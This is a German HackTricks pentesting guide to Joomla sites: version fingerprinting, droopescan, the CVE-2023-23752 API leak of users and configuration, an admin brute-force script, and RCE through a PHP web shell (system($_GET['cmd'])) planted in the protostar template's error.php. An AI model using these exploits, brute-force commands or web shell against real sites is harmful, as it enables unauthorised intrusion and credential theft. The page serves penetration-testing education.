6.6 KiB
Joomla
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Joomla-Statistiken
Joomla sammelt einige anonyme Nutzungsstatistiken, wie die Verteilung der Joomla-, PHP- und Datenbankversionen sowie der verwendeten Serverbetriebssysteme in Joomla-Installationen. Diese Daten können über ihre öffentliche API abgefragt werden.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeration
Discovery/Footprinting
- Überprüfen Sie die Meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Version
- In /administrator/manifests/files/joomla.xml können Sie die Version sehen.
- In /language/en-GB/en-GB.xml können Sie die Version von Joomla abrufen.
- In plugins/system/cache/cache.xml können Sie eine ungefähre Version sehen.
Automatisch
droopescan scan joomla --url http://joomla-site.local/
In 80,443 - Pentesting Web Methodology ist ein Abschnitt über CMS-Scanner, die Joomla scannen können.
API Unauthentifizierte Informationsoffenlegung:
Versionen von 4.0.0 bis 4.2.7 sind anfällig für unauthentifizierte Informationsoffenlegung (CVE-2023-23752), die Anmeldeinformationen und andere Informationen ausgibt.
- Benutzer:
http://<host>/api/v1/users?public=true
- Konfigurationsdatei:
http://<host>/api/index.php/v1/config/application?public=true
MSF-Modul: scanner/http/joomla_api_improper_access_checks
oder Ruby-Skript: 51334
Brute-Force
Sie können dieses Skript verwenden, um zu versuchen, sich mit Brute-Force in das Login einzuloggen.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Wenn Sie es geschafft haben, Admin-Anmeldeinformationen zu erhalten, können Sie RCE darin erreichen, indem Sie einen Ausschnitt von PHP-Code hinzufügen, um RCE zu erlangen. Wir können dies tun, indem wir ein Template anpassen.
- Klicken Sie auf
Templates
unten links unterConfiguration
, um das Template-Menü zu öffnen. - Klicken Sie auf einen Template-Namen. Wählen wir
protostar
unter der SpaltenüberschriftTemplate
. Dies bringt uns zur SeiteTemplates: Customise
. - Schließlich können Sie auf eine Seite klicken, um den Seitenquelltext anzuzeigen. Wählen wir die
error.php
-Seite. Wir fügen eine PHP-Einzeiler hinzu, um Codeausführung zu erlangen wie folgt: system($_GET['cmd']);
- Speichern & Schließen
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Von XSS zu RCE
- JoomSploit: Joomla-Ausnutzungsskript, das XSS zu RCE oder anderen kritischen Schwachstellen erhöht. Für weitere Informationen siehe diesen Beitrag. Es bietet Unterstützung für Joomla-Versionen 5.X.X, 4.X.X und 3.X.X und ermöglicht:
- Privilegieneskalation: Erstellt einen Benutzer in Joomla.
- (RCE) Eingebaute Templates bearbeiten: Bearbeitet eingebaute Templates in Joomla.
- (Custom) Benutzerdefinierte Exploits: Benutzerdefinierte Exploits für Drittanbieter-Joomla-Plugins.
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks unterstützen
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.